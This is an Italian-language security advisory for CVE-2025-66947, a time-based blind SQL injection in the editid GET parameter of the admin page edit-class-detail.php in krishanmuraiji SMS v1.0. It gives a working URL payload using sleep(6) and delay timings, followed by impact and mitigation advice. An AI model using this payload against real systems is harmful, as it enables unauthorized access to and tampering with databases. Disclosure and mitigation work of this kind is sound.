CVE-2025-66947

Iniezione SQL cieca basata sul tempo in krishanmuraiji SMS v1.0

⏱️ Confronto visivo: risposta normale vs risposta ritardata di ~6s

🔍 Riepilogo

TL;DR: Un parametro GET in un modulo amministrativo consente l'iniezione SQL basata sul tempo tramite ritardi nella risposta.

In krishanmuraiji SMS v1.0 esiste una vulnerabilità di iniezione SQL cieca basata sul tempo dovuta alla validazione impropria di un parametro GET in un modulo amministrativo.

---

🎯 Componente interessato

• File: /studentms/admin/edit-class-detail.php
• Parametro: editid (GET)
• Problema: Input non sanitizzato utilizzato direttamente nella query SQL

🧪 Prova di concetto (PoC)

Passo 1 — Richiesta normale

/studentms/admin/edit-class-detail.php?editid=12

Passo 2 — Inietta il payload basato sul tempo

/studentms/admin/edit-class-detail.php?editid=12*if(now()=sysdate(),sleep(6),0)

Risultato atteso

• La risposta del server viene ritardata di ~6 secondi
• Nessun messaggio di errore visibile
• Il ritardo conferma l'iniezione SQL

⏱️ Verifica dei tempi

Payload	Ritardo
sleep(3)	~3s
sleep(6)	~6s
sleep(15)	~15s

Ritardo costante = Iniezione SQL confermata

📌 Dove si presenta questo pattern

Questo pattern di vulnerabilità si presenta comunemente in:

• Applicazioni PHP CRUD
• Sistemi per studenti / biblioteca / inventario
• Pannelli di amministrazione che si fidano dei parametri GET numerici
• Applicazioni con errori SQL disattivati

🛡️ Impatto

• Divulgazione di informazioni del database
• Modifica non autorizzata dei dati
• Escalation dei privilegi
• Compromissione del database di backend

🧠 Perché è importante

Anche quando è richiesta l'autenticazione e gli errori sono nascosti,
l'iniezione SQL basata sul tempo rimane sfruttabile e pericolosa.

Gravità: Alta

🔧 Mitigazione

• Usare prepared statements
• Validare i parametri numerici
• Evitare la concatenazione delle query SQL
• Applicare il principio del minimo privilegio per l'accesso al database

🆔 CVE

CVE-2025-66947

👤 Scopritore

Ranjan Kumar

⚠️ Disclaimer

Questo PoC è fornito solo a scopo educativo e difensivo.

CVE-2025-66947, SQL Injection, Time-Based Blind SQL Injection, PHP, Admin Panel